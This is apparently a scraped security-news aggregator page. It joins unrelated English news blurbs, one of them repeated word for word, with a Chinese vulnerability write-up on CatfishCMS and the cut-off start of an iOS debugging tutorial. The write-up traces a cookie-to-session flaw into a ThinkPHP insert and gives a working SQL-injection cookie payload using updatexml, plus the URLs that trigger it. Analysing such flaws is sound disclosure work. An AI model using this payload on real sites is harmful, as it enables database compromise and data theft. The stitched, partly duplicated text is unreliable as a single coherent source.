Aggregator

Combating this vulnerability might mean you have to force updates on employees’ personal devices or deny them access altogether.

Security must align to the business needs, not the other way around. Begin with investigation and understanding to be most effective.

常见内网攻击类型及检测思路。"不打扰是我的温柔"这种拖更借口已经没脸说了...

Organizations need to provide clear and specific guidance to employees who travel across national borders when it comes to giving up passwords and surrendering devices.

Personally identifiable information and user credentials are the primary nuggets attackers are after when they exploit known vulnerabilities in web applications.

Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice. More information about this month’s security updates can be found in the Security Update Guide.

Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice. More information about this month’s security updates can be found in the Security Update Guide.

Security breaches in the news serve as a good reminder to check and make sure you have a solid application protection strategy in place, starting with never trusting user input.

What's the other half? And why don't organizations just find and fix their own bugs?

Legislation is a good first step toward persuading IoT manufacturers (who want to stay in business) to do the right thing when it comes to the security of their devices.

n/a

漏洞描述

怎么说呢，这个CMS以前挖过一次，刚开始确实写得不咋的，后来貌似重构了一下，安全性上了一个档次。
最近看到有人发了这个CMS的漏洞，思路挺不错的，不过文章开头说没有注入，我就试着又审了一次新版。
虽然直观的漏洞不存在了，但是我们细心并且猥琐一点，就可以挖到一个注入了。

漏洞分析

大概看了一下，TP5的防御确实比TP3要好一点....主要是把where函数一改写，确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:
/application/user/controller/Common.php中第45行:

protected function checkUser() { if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user')) { $cookie_user_p = Cache::get('cookie_user_p'); if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false) { $user = Db::name('users')->where('user_login', Cookie::get($this->session_prefix.'user'))->field('user_pass,user_type')->find(); if(!empty($user) && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')) { Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id')); Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user')); Session::set($this->session_prefix.'user_type',$user['user_type']); } } } if(!Session::has($this->session_prefix.'user_id')) { $this->redirect(Url::build('/login')); } if(Session::get($this->session_prefix.'user_type') == 1) { $this->redirect(Url::build('/admin')); } $this->assign('login', $this->getUser()); }

函数的功能就是一个校验用户是否登录。看逻辑，看第一个if。如果我们没有session，那么就从cookie中取值，这里用到了几个cookie，一个是user_id,一个是user,一个是user_p。

然后将user带入数据库查询，这个其实就是我们的用户名，将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较，如果相等的话，就设置一系列session。用户验证是没毛病的，但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意，等于我们可以控制session中的user_id的值了。

我们全文查找一下用到这个session的user_id的地方在哪，我找到一处:
/application/index/controller/Index.php中第548行:

public function pinglun() { $beipinglunren = Db::name('posts')->where('id',Request::instance()->post('id'))->field('post_author')->find(); if($beipinglunren['post_author'] != Session::get($this->session_prefix.'user_id')) { $comment = Db::name('options')->where('option_name','comment')->field('option_value')->find(); $plzt = 1; if($comment['option_value'] == 1) { $plzt = 0; } //添加评论 $data = [ 'post_id' => Request::instance()->post('id'), 'url' => 'index/Index/article/id/'.Request::instance()->post('id'), 'uid' => Session::get($this->session_prefix.'user_id'), 'to_uid' => $beipinglunren['post_author'], 'createtime' => date("Y-m-d H:i:s"), 'content' => $this->filterJs(Request::instance()->post('pinglun')), 'status' => $plzt ]; Db::name('comments')->insert($data); //修改评论信息 Db::name('posts') ->where('id', Request::instance()->post('id')) ->update([ 'post_comment' => date("Y-m-d H:i:s"), 'comment_count' => ['exp','comment_count+1'] ]); $param = ''; Hook::add('comment_post',$this->plugins); Hook::listen('comment_post',$param,$this->ccc); } }

这里取到了我们session中的user_id的值然后添加到了$data这个数组中，作为uid的值。
然后将$data带入到了insert函数中，貌似有戏，就跟进去看看，在/catfish/library/think/db/Builder.php中第597行:

public function insert(array $data, $options = [], $replace = false) { // 分析并处理数据 $data = $this->parseData($data, $options); if (empty($data)) { return 0; } $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table']), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); return $sql; }

然后这里调用了一个parseData对$data进行处理:

protected function parseData($data, $options) { if (empty($data)) { return []; } // 获取绑定信息 $bind = $this->query->getFieldsBind($options); if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($key); if (!in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (isset($val[0]) && 'exp' == $val[0]) { $result[$item] = $val[1]; } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_scalar($val)) { // 过滤非标量数据 if ($this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $this->query->bind($key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':' . $key; } } } return $result; }

注意看了啊，这里的$var[0]如果等于exp的话，就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。
等处理完了，就直接return $result。
然后我们返回上级看看:

$fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table']), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql);

直接array_values取出来，然后implode一下,好的，明显的注入。

接下来开始构造payload了，构造payload的时候也有点大意了，我以为直接传数组就可以了，结果并不行，我就又去看了一下取COOKIE得函数:

public static function get($name, $prefix = null) { !isset(self::$init) && self::init(); $prefix = !is_null($prefix) ? $prefix : self::$config['prefix']; $name = $prefix . $name; if (isset($_COOKIE[$name])) { $value = $_COOKIE[$name]; if (0 === strpos($value, 'think:')) { $value = substr($value, 6); $value = json_decode($value, true); array_walk_recursive($value, 'self::jsonFormatProtect', 'decode'); } return $value; } else { return null;

它取了COOKIE的值之后还进行了一次strpos操作，所以这个地方我们如果直接传数组会报error的错误，就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。

漏洞利用

为了方便起见。把app_debug打开吧，方便报错注入。
将/application/config.php中的app_debug改为true即可。

首先我们前台注册一个账号吧。
用户名:balisong 密码:balisong

首先我们要登录一次，不过这个地方要把记住我勾上，如图:

然后会发现我们多了几个cookie，如图:

其中最重要的就是这个user_p的cookie。
我这里是65332ad27c4ca83675c01ad285367903

然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。

然后开始构造COOKIE：

catfishcatfishcmsuser = balisong catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903 catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]

构造完毕后，访问一次http://localhost/catfishcms/user/index.html

页面报错不要紧，主要是为了触发checkuser这个函数。

然后访问http://localhost/catfishcms/index/index/pinglun.html

可以看到报错了，爆出了数据库用户名:

Stop feeding attackers every piece of the puzzle they need to pull off their scams.

Verisign just released its Q2 2017 DDoS Trends Report, which represents a unique view into the attack trends unfolding online, through observations and insights derived from distributed denial of service (DDoS) attack mitigations enacted on behalf of Verisign DDoS Protection Services and security research conducted by Verisign Security Services. Verisign saw that 25 percent of […]

The post Q2 2017 DDoS Trends Report: 25 Percent of Attacks Peaked Over 5 Gbps appeared first on Verisign Blog.

Verisign is excited to announce that its easy-to-configure, cloud-based, recursive DNS filtering service, Verisign DNS Firewall, is now certified to run on Microsoft Azure. This service will help protect your Microsoft Azure virtual machines from malware command-and-control traffic and navigation to undesirable websites. Cybersecurity threats, such as malware, phishing and malicious apps, present serious challenges […]

The post Verisign Extends its DNS Firewall Service to Include Protection of Microsoft Azure Cloud Workloads appeared first on Verisign Blog.

Far from a dying breed, cryptocurrencies are not only evolving but being accepted in countless new markets. CISOs need to know the ins and outs, pros and cons.

前提要求 1、熟悉基本的 IDA 操作。 2、会对手机进行越狱。 3、从手机上拷贝文件到电脑，从电脑上拷贝文件到手机。 4、会使用 ldid 对 debugserver 签名，增加权限。 5、会使用工具（如：iproxy）映射手机端口。 6、了解如何使用 LLDB 调试应用，可以参考我 15 年写的文章：《在非越狱设备上使用LLDB 调试第三方 App》。 实验环境 64 位 iO